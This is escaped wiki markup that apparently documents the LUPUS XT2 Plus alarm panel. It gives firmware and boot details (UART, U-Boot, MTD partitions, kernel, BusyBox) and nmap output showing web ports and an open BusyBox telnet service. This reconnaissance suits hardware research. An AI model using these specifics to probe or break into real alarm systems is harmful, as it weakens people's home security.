&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1) (MCU provides no RX pin for UART0!)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;1s (Space: Linux; ESC: U-Boot; .: Burn-In)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;U-Boot&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;  Yes, but no way to access it via UART0.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev: size erasesize name &amp;lt;br&amp;gt;mtd0: 007f0000 00010000 &amp;quot;Linux Section&amp;quot; &amp;lt;br&amp;gt;mtd1: 00720000 00010000 &amp;quot;User Section&amp;quot; &amp;lt;br&amp;gt;mtd2: ffff6000 00010000 &amp;quot;Loader Section&amp;quot; &amp;lt;br&amp;gt;mtd3: 0009a000 00010000 &amp;quot;BurnIn Section&amp;quot; &amp;lt;br&amp;gt;mtd4: 00020000 00010000 &amp;quot;UBoot Section&amp;quot; &amp;lt;br&amp;gt;mtd5: 00020000 00010000 &amp;quot;CFG Section&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;JFFS2 version 2.2. (NAND) (mtd1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.28 (Feb 13 2018)&amp;lt;br&amp;gt;(engin@engin-desktop)&amp;lt;br&amp;gt;(gcc version 4.4.0)&amp;lt;br&amp;gt;(Faraday C/C++ Compiler)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;mem=64M&amp;lt;br&amp;gt;console=uart,shift,2,io,0xF9850000,115200&amp;lt;br&amp;gt;quiet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh / ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.20.2 (2014-01-23) multi-call binary.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;telnetd,&amp;lt;br&amp;gt;kswapd v1.12c (20020818),&amp;lt;br&amp;gt;Mongoose 3.1 on port 80,443s,&amp;lt;br&amp;gt;udhcpc (v1.20.2),&amp;lt;br&amp;gt;climax,&amp;lt;br&amp;gt;hpgw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Mapper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;PORT      STATE SERVICE   VERSION&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;/tcp    open  http      Mongoose&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: transparent; background-color: white; overflow:auto; margin-top: -13px; margin-bottom: -13px;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;... more ...&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| fingerprint-strings: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   FourOhFourRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 404 Site or Page Not Found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Site or Page Not Found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Site or Page Not Found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GetRequest, HTTPOptions: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.0 200 OK&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Server: Mongoose&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Pragma: no-cache&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Cache-control: no-cache&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html; charset=utf-8&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;!DOCTYPE html PUBLIC&lt;br /&gt;
|        &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot;&lt;br /&gt;
|        &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Redirect to New Page&amp;lt;/title&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;CACHE-CONTROL&amp;quot; CONTENT=&amp;quot;NO-CACHE&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;PRAGMA&amp;quot; CONTENT=&amp;quot;NO-CACHE&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;META HTTP-EQUIV=&amp;quot;Expires&amp;quot; CONTENT=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
|           &amp;lt;script&amp;gt;&lt;br /&gt;
|              function redirect() {&lt;br /&gt;
|                 location.href=&#039;https:&#039;+window.location.href.substring(window.location.protocol.length);&lt;br /&gt;
|              }&lt;br /&gt;
|           &amp;lt;/script&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body onload=redirect()&amp;gt;&amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   RTSPRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 400 Page not found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_    &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Page not found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Page not found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_http-server-header: Mongoose&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_http-title: Redirect to New Page&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;443&amp;lt;/b&amp;gt;/tcp   open  ssl/https&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: transparent; background-color: white; overflow:auto; margin-top: -13px; margin-bottom: -13px;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;... more ...&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| fingerprint-strings: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   FourOhFourRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 404 Site or Page Not Found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Site or Page Not Found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Site or Page Not Found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GenericLines: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 400 Page not found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Page not found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Page not found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GetRequest, HTTPOptions: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 200 OK&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Date: Thu, 01 Jan 1970 00:05:49 GMT&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Last-Modified: Thu, 01 Jan 1970 00:05:49 GMT&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Etag: &amp;quot;15d.11c&amp;quot;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Length: 284&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Accept-Ranges: bytes&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_    &amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Welcome&amp;lt;/title&amp;gt;&lt;br /&gt;
|           &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;document.location=&amp;quot;/action/login&amp;quot;;&amp;lt;/script&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;noscript&amp;gt;JavaScript must be enabled.&lt;br /&gt;
|              &amp;lt;br/&amp;gt;However, it seems JavaScript is either disabled or not supported by your browser.&lt;br /&gt;
|           &amp;lt;/noscript&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| ssl-cert: Subject: organizationName=LUPUS-Electronics GmbH/stateOrProvinceName=Germany/countryName=DE&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| Not valid before: 2015-06-10T10:09:05&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_Not valid after:  2025-06-07T10:09:05&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|_ssl-date: 1970-01-01T00:06:29+00:00; -50y54d18h02m30s from scanner time.&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;55023&amp;lt;/b&amp;gt;/tcp open  telnet    BusyBox telnetd&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;MAC Address&amp;lt;/b&amp;gt;: 00:1D:94:05:85:A7 (Climax Technology)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Device type&amp;lt;/b&amp;gt;: general purpose&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Running&amp;lt;/b&amp;gt;: Linux 2.6.X&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;OS CPE&amp;lt;/b&amp;gt;: cpe:/o:linux:linux_kernel:2.6&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;OS details&amp;lt;/b&amp;gt;: Linux 2.6.9 - 2.6.30&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;Service Info&amp;lt;/b&amp;gt;: Host: HPGW-NET6&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
